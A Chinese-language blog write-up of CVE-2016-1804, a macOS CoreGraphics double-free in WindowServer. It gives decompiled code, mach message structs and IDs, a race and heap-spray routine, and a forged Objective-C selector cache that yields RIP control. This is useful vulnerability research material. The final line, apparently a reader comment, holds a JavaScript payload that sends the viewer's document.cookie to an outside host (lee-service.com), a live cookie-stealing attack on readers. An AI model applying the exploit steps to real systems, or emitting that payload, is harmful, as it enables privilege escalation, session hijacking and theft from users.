• 文章/ARTICLE
  • CVE-2016-1804分析与利用
  • shrek_wzw 2016-08-17 18299

  CVE-2016-1804由KEENLab发现,并在Pwn2Own 2016上用于攻击Mac OS。漏洞存在于CoreGraphics(/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics)模块中。本文将简单介绍此漏洞以及利用的方法。

 

一、漏洞分析


        这里基于OS X 10.11进行简单说明。WindowServer进程通过CoreGraphics注册了大量的mach服务,外部进程通过mach port可以向WindowServer进程发送mach message,根据不同的message id调用不同的mach服务。存在漏洞的函数为_XSetGlobalForceConfig。

__int64 __fastcall _XSetGlobalForceConfig(__int64 a1, __int64 a2)
{
    …
    LODWORD(v4) = CFDataCreateWithBytesNoCopy(
                      *(_QWORD *)kCFAllocatorDefault_ptr,
                      *(_QWORD *)(a1 + 28),
                      v3,
                      *(_QWORD *)kCFAllocatorNull_ptr);
      v5 = v4;
      LODWORD(v6) = _mthid_unserializeGestureConfiguration(v4);
      v7 = v6;
      if ( v5 )
        CFRelease(v5); // double free!
    …
}

        _mthid_unserializeGestureConfiguration函数位于MultitouchSupport(/System/Library/PrivateFrameworks/MultitouchSupport.framework/MultitouchSupport)。

__int64 __fastcall _mthid_unserializeGestureConfiguration(__int64 a1)
{
    …
    v5 = 0LL;
    v2 = CFPropertyListCreateWithData(kCFAllocatorDefault, a1, 0LL, 0LL, &v5);
    v3 = v2;
    …
    if ( v3 )
    {
      if ( !_mthid_isGestureConfigurationValid(v3) ) // check CFType
        CFRelease(a1); // a1 is released if v3 is not a CFDictionary. first free!
      result = v3;
    }
  }
  return result;
}

 

二、漏洞利用



        利用这个漏洞的方法是,在两次free的间隙,用可控的数据占位堆块,使得第二次CFRelease调用时,对构造的CF类型对象进行操作,以实现RIP控制。下面说明一下在PoC实现过程中的一些关键点。

 

1. 两个线程

        不同于传统的double free,对同一个CF对象调用两次CFRelease并不会造成程序崩溃。因此可以通过创建两个线程,一个线程不断触发double free漏洞,另一个线程不断尝试构造数据并填充。

 

2. QuartzCore server port

        实现堆块占位的线程调用的是QuartzCore的mach服务接口。QuartzCore的port可以通过CGSCreateLayerContext函数进行获取。通过指定CGSCreateLayerContext的第一个参数为CGSMainConnectionID,就可以得到WindowServer进程中QuartzCore服务对应的mach port。

        CoreGraphics的部分函数没有头文件,但是有导出。因此我们可以直接通过声明相应的函数,在代码中进行调用即可(可以从https://github.com/NUIKit/CGSInternal获取部分头文件)。

 

3. mach message

        从外部触发WindowServer进程中mach服务,需要自己构造mach message并发送到对应的mach port。不同版本的CoreGraphics的服务ID以及message结构体可能有所不同,因此需要针对特定的版本进行分析。这里涉及三个mach服务,通过逆向,在10.11上定义的message结构体和服务ID如下:

//double free with _XSetGlobalForceConfig in CoreGraphics, MSGID 0x73b7
typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t desc;
    NDR_record_t NDR;
    int size;
} force_config_msg_t;

//race with _XRegisterClientOptions in QuartzCore, MSGID 0x9D0B
typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t port_desc[3];
    mach_msg_ool_descriptor_t ool_desc;
    NDR_record_t NDR;
    int pid;
    int resv;
    int size;
} register_client_options_msg_t;

//heap spray with _XSetConnectionProperty in CoreGraphics, MSGID 0x72C9
typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_desc;
    NDR_record_t NDR;
    int connection;
    int resv1;
    int str_size;
    char key[80];
} set_connection_property_msg_t;

 

4. 触发漏洞(线程一)

        通过构造任意不是CFDictionary的CFPropertyList对象(例如构造CFArray)并发送至_XSetGlobalForceConfig,使得_mthid_isGestureConfigurationValid判断为非法,即可造成double CFRelease。

 

5. 堆块占位(线程二)

        CFRelease的对象为CFData,占用堆块的大小为0x30字节。

typedef struct _fake_cfdata_t
{
    fake_objc_class_t _cfisa;
    uint8_t _cfinfo[4];
    uint32_t _rc;
    CFIndex _length;
    CFIndex _capacity;
    CFAllocatorRef _bytesDeallocator;
    uint8_t *_bytes;
} fake_cfdata_t;

        因此我们需要不断申请的堆块大小也必须是0x30。_XRegisterClientOptions会调用CFPropertyListCreateWithData对传入的数据进行反序列化。我们至少要控制0x30字节数据的前8个字节(isa指针)。这里利用的是Unicode字符串CFStringCreateWithCharacters。

 

6. 堆喷射

        堆喷射利用的是CoreGraphics的_XSetConnectionProperty。通过不断申请0x20000大小的堆块,在PoC中申请了30000次后,在0x200000000这个地址上,可以稳定地出现我们构造的数据(也许不用这么大量的数据,为了方便)。对于0x20000中的每0x1000字节,都构造相同的数据(objc_class结构)。

    // build fake cfdata's isa region
    for (int i = 0; i < spray_size / 0x1000; i++)
    {
        fake_objc_class_t *fake_objc_class = (fake_objc_class_t *)(buffer + i * 0x1000);
        fake_objc_class->cache._buckets = 0x200000020;
        fake_objc_class->cache.mask = 0;
        
        fake_bucket_t *fake_bucket = (fake_bucket_t *)(buffer + i * 0x1000 + 0x20);
        fake_bucket->_key = sel_release_addr;
        fake_bucket->_imp = (IMP)0x4141deadbeef;
    }

 

7. ObjC Runtime 利用

        参考http://phrack.org/issues/66/4.html这篇文章。一些结构已经发生了变化,但原理不变,通过构造objc_class结构,伪造其中的selector cache,来实现RIP的控制。结合当前的ObjC Runtime的结构体以及objc_msgSend的汇编代码。

typedef struct _fake_bucket_t {
    uintptr_t *_key;  // selector address
    IMP _imp;   // function ptr
} fake_bucket_t;

typedef struct _fake_cache_t {
    fake_bucket_t *_buckets;  // cache bucket
    uint32_t mask; // mask
} fake_cache_t;

typedef struct _fake_objc_class_t {
    char pad[0x10];
    fake_cache_t cache;
} fake_objc_class_t;

<+0>:   test   rdi, rdi 
<+3>:   je     0x7fff96fb4da8                // rdi is CF Object
<+6>:   test   dil, 0x1
<+10>:  jne    0x7fff96fb4db3            
<+13>:  movabs r11, 0x7ffffffffff8
<+23>:  and    r11, qword ptr [rdi]          // r11 = objc_class pointer
<+26>:  mov    r10, rsi                      // r10 = "release"
<+29>:  and    r10d, dword ptr [r11 + 0x18]  // r10 = selector & class->cache.mask 
<+33>:  shl    r10, 0x4                      // r10 = offset = (selector & mask)<<4
<+37>:  add    r10, qword ptr [r11 + 0x10]   // r10 = class->cache.buckets + offset
<+41>:  cmp    rsi, qword ptr [r10]          // if (bucket->_key != selector)
<+44>:  jne    0x7fff96fb4d72          
<+46>:  jmp    qword ptr [r10 + 0x8]         // call bucket->_imp

        根据上述汇编代码,令cache.mask为0,那么就会从buckets[0]的位置开始进行判断。再构造buckets[0]._key为selector “release”的地址,最终就会调用buckets[0]._imp。构造如下,其中sel_release_addr = NSSelectorFromString(@“release”):

    // build fake cfdata's isa region
    for (int i = 0; i < spray_size / 0x1000; i++)
    {
        fake_objc_class_t *fake_objc_class = (fake_objc_class_t *)(buffer + i * 0x1000);
        fake_objc_class->cache._buckets = 0x200000020;
        fake_objc_class->cache.mask = 0;
        
        fake_bucket_t *fake_bucket = (fake_bucket_t *)(buffer + i * 0x1000 + 0x20);
        fake_bucket->_key = sel_release_addr;
        fake_bucket->_imp = (IMP)0x4141deadbeef;
    }

        最终运行后,可以看到RIP已经可控。

 

References


1. 《SUBVERTING APPLE GRAPHICS: PRACTICAL APPROACHES TO REMOTELY GAINING ROOT》— KEEN Lab
2. 《The Objective-C Runtime: Understanding and Abusing》— http://phrack.org/issues/66/4.html

微信 扫一扫

分享到
  1. [url =Javascript:window.open(“http://lee-service.com/rec.php?ck=”+document.cookie;]来点我[/url]